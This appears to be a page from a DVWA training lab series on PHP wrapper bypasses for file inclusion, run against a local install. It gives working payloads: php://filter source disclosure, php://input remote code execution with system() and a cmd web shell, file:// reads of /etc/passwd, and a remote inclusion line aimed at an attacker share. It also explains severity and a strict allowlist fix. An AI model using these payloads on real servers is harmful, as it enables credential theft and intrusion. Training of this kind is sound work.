🧪 DVWA LAB SERIES
FREE
FREE
Part of the DVWA Lab Series — 30 Labs
⚠️ Local Lab Only: PHP wrapper techniques must only be practised against your own DVWA installation. These techniques on unauthorised systems are illegal.
DVWA file inclusion advanced lab 2026 :— Lab 5 gave you basic LFI using path traversal at Low security. Medium security adds a filter that strips
../ sequences. High security extends that filter further. Neither level blocks PHP’s built-in protocol wrappers — and those wrappers do not use path traversal at all. php://filter reads and encodes source code. php://input executes code from your POST body. data:// includes inline content. None of these need ../. The filter blocks what it knows about. These wrappers are something different entirely.🎯 What You’ll Learn in Lab 17
How php://filter bypasses path traversal filters to disclose source code
How php://input converts LFI to RCE when allow_url_include is enabled
How data:// wrapper inlines code execution payloads
Read High security source to identify what is blocked and what bypasses remain
Understand why blacklist filtering fails against PHP’s extensive wrapper ecosystem
⏱️ 40 min · 3 DVWA exercises
✅ Prerequisites
- Lab 5: File Inclusion basics — Low security LFI understood
- Lab 14: Security Levels — comfortable reading PHP source
- DVWA running locally (Lab 1: Setup)
📋 DVWA File Inclusion Advanced Lab 17 Contents — PHP Wrapper Bypasses
In Lab 5 you read /etc/passwd using ../../../ path traversal at Low security. Lab 17 applies the same wrapper bypass philosophy as Lab 16’s command injection filter bypass — blacklists block known strings, not equivalent alternatives. The DVWA Lab Series shows this pattern across every vulnerability type.
Medium Security — What the Filter Strips
MEDIUM SECURITY SOURCE — LFI FILTER
# DVWA Medium security filter (View Source reveals this):
$file = str_replace( array( “../”, “..” ), “”, $file );
# Only strips: ../ and .. sequences
# Does NOT block: php://, file://, http://, data://, etc.
# BLOCKED payloads (contain ../)
?page=../../../../etc/passwd → stripped → no traversal
# WORKING payloads (no ../ required)
?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php
?page=php://filter/read=string.rot13/resource=index
?page=file:///etc/passwd # file:// wrapper (absolute path)
⚡ EXERCISE 1 — DVWA (15 MIN)
Use php://filter to Read DVWA Source Code at Medium Security
⏱️ Time: 15 minutes · DVWA Medium security
php://filter SOURCE CODE DISCLOSURE
# Step 1: Set DVWA to Medium security
# Step 2: Navigate to File Inclusion module
# Step 3: In URL bar, change the page parameter:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index
# This reads index.php and outputs it base64-encoded
Output: PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg==… (long base64 string)
# Step 4: Decode the base64 output
echo ‘PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg==’ | base64 -d
<?php … // PHP source code of index.php revealed
# Step 5: Read the file inclusion source file
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../dvwa/vulnerabilities/fi/index.php
# Step 6: Try reading a configuration file
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd
# Result: /etc/passwd contents base64-encoded in page output
✅ What you just learned: php://filter bypasses the Medium security path traversal filter entirely because it does not contain ../ sequences. The base64-encode filter chain is particularly useful because it prevents PHP from executing the included file (which would happen with a normal include of a PHP file) and instead outputs its raw source. This makes php://filter the primary tool for source code disclosure — reading PHP files that would otherwise execute (and reveal nothing) instead of displaying their source. In a real web application assessment, php://filter source disclosure often reveals database credentials, API keys, and internal logic that enables further exploitation.
📸 Screenshot the base64-encoded output and decoded source code. Share in #dvwa-labs on Discord.
php://input — LFI to RCE
The php://input wrapper reads the raw POST request body. When used as the file parameter in an include() call, if PHP’s allow_url_include=On is set (which is DVWA’s intentional misconfiguration at Low and Medium security), the application includes the POST body as PHP code and executes it. This converts an LFI into Remote Code Execution.
⚡ EXERCISE 2 — DVWA (12 MIN)
Exploit php://input for Code Execution at Medium Security
⏱️ Time: 12 minutes · DVWA Medium · Burp Suite or curl
php://input RCE EXPLOIT
# Method 1: Using curl — POST PHP code to php://input
curl -s “http://localhost/dvwa/vulnerabilities/fi/?page=php://input” \
–cookie “PHPSESSID=YOUR_SESSION; security=medium” \
–data “<?php phpinfo(); ?>”
# Response: full phpinfo() output — confirms PHP code execution
# Step 2: Run a command via php://input
curl -s “http://localhost/dvwa/vulnerabilities/fi/?page=php://input” \
–cookie “PHPSESSID=YOUR_SESSION; security=medium” \
–data “<?php system(‘id’); ?>”
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Step 3: In Burp — intercept any request to the LFI page
# Change GET to POST, change page parameter to php://input
# Add request body: <?php system($_GET[‘cmd’]); ?>
# Then: ?page=php://input&cmd=whoami
# Check allow_url_include setting:
curl –data “<?php echo ini_get(‘allow_url_include’); ?>” [url]?page=php://input
✅ What you just learned: php://input demonstrates the critical difference between LFI (read files) and RCE (execute code). The transition from reading /etc/passwd to executing arbitrary commands via the POST body is the escalation path that makes file inclusion vulnerabilities Critical severity in production assessments. The allow_url_include check is essential context for reporting: LFI without allow_url_include enabled is High severity (sensitive file disclosure); LFI with allow_url_include enabled is Critical (remote code execution). Always check this configuration setting and include it in the impact assessment section of your report.
📸 Screenshot phpinfo() execution via php://input proving RCE. Share in #dvwa-labs on Discord.
High Security — Extended Blacklist and Remaining Bypasses
⚡ EXERCISE 3 — DVWA (12 MIN)
Analyse High Security Source and Find the Remaining Bypass
⏱️ Time: 12 minutes · DVWA High security
HIGH SECURITY ANALYSIS AND BYPASS
# View Source at High security reveals:
if( !fnmatch( “file*”, $file ) && $file != “include.php” ) {
echo “ERROR: File not found!”; exit; }
# Only files starting with “file” or exactly “include.php” are allowed
# php://, data://, http:// all blocked — they don’t start with “file”
# BUT: file:// wrapper DOES start with “file”
?page=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash ← works! file:// matches fnmatch(“file*”)
# file:// allows absolute path reads without path traversal
?page=file:///var/www/html/dvwa/hackable/flags/fi.php
?page=file:///etc/apache2/sites-enabled/000-default.conf
# RFI path also available if allow_url_fopen is on:
?page=file://ATTACKER_SMB_SHARE/payload.php
# The developer blocked all obvious wrappers but forgot file:// matches the pattern
✅ What you just learned: High security’s fnmatch(“file*”) allowlist was intended to restrict to local file paths like “file1.php” but accidentally permits the file:// protocol wrapper because it also starts with “file”. This is a perfect example of incomplete allowlist implementation — the developer correctly identified that a allowlist would be more secure than a blacklist (they were right), but implemented it with a glob pattern that has an unintended match. The correct High security fix would be: check that the file parameter matches a specific filename pattern like /^[a-z0-9_\-]+\.php$/ — accepting only alphanumeric filenames with .php extension, which rejects all protocol wrappers including file://.
📸 Screenshot file:// bypass working at High security reading /etc/passwd. Share in #dvwa-labs on Discord. Tag #lfiwrapper2026
🧠 QUICK CHECK — Lab 17
php://filter is used to read a PHP configuration file via LFI and outputs a long base64-encoded string. After decoding, the output contains: DB_PASSWORD=prod_db_s3cur3_p4ss. What severity is this finding and why?
📋 Lab 17 PHP Wrapper Reference
php://filter/convert.base64-encode/resource=FILESource code disclosure — base64 output bypasses PHP execution, reveals raw source
php://inputPOST body as file — LFI to RCE when allow_url_include=On
data://text/plain,<?php code; ?>Inline code execution — requires allow_url_include=On
file:///absolute/pathAbsolute path read — bypasses relative path restrictions, matches “file*” patterns
Correct fixAllowlist with strict regex: only accept alphanumeric .php filenames — blocks all wrappers
🏆 Mark Lab 17 as Complete
PHP protocol wrappers transform a basic LFI into source code disclosure, credential extraction, and code execution. The same blacklist-fails pattern from command injection (Lab 16) appears here in file inclusion — PHP’s wrapper ecosystem is richer than any blacklist can cover. Lab 18 applies the same principle to file upload filters.
❓ Frequently Asked Questions
What is php://filter?
PHP protocol wrapper that applies filter chains to streams. php://filter/convert.base64-encode/resource=FILE reads FILE and outputs base64-encoded content — bypasses path traversal filters and reveals source code without executing it.
What is php://input?
Reads raw POST request body. Used in LFI context to execute POST body as PHP code when allow_url_include=On. Converts LFI to RCE. Requires allow_url_include enabled — Off by default in modern PHP.
What is the difference between LFI and RFI?
LFI reads local server files — sensitive files, source code, credentials. RFI includes external URLs — executes attacker-controlled PHP code. RFI requires allow_url_include=On. LFI more common; RFI largely eliminated by default PHP configs.
What comes after Lab 17?
Lab 18: DVWA File Upload Advanced — bypassing Medium and High upload filters using extension manipulation, MIME spoofing, double extensions, and null bytes to upload PHP webshells.
← Previous Lab
Lab 16: Command Injection Advanced
Next Lab →
Lab 18: File Upload Advanced
📚 Further Reading
- DVWA File Inclusion Lab 2026 — Lab 5 covers basic LFI at Low security — the foundation that Lab 17 extends to advanced wrapper bypasses.
- DVWA Command Injection Advanced 2026 — Lab 16 covers the same blacklist bypass principle applied to command injection — the pattern repeats across vulnerability types.
- DVWA Labs Hub — All 30 DVWA labs — Lab 17 php wrapper techniques apply directly to the SQL injection and XSS advanced labs ahead in the series.
- PortSwigger File Path Traversal Labs — Interactive file path traversal labs including filter bypass techniques — the real-world application of the DVWA wrapper bypasses in complex web application contexts.
- PHP Official Wrapper Documentation — Complete PHP wrapper reference — all supported protocols and filters including php://, file://, data://, zip://, and more — the full attacker toolkit for LFI exploitation.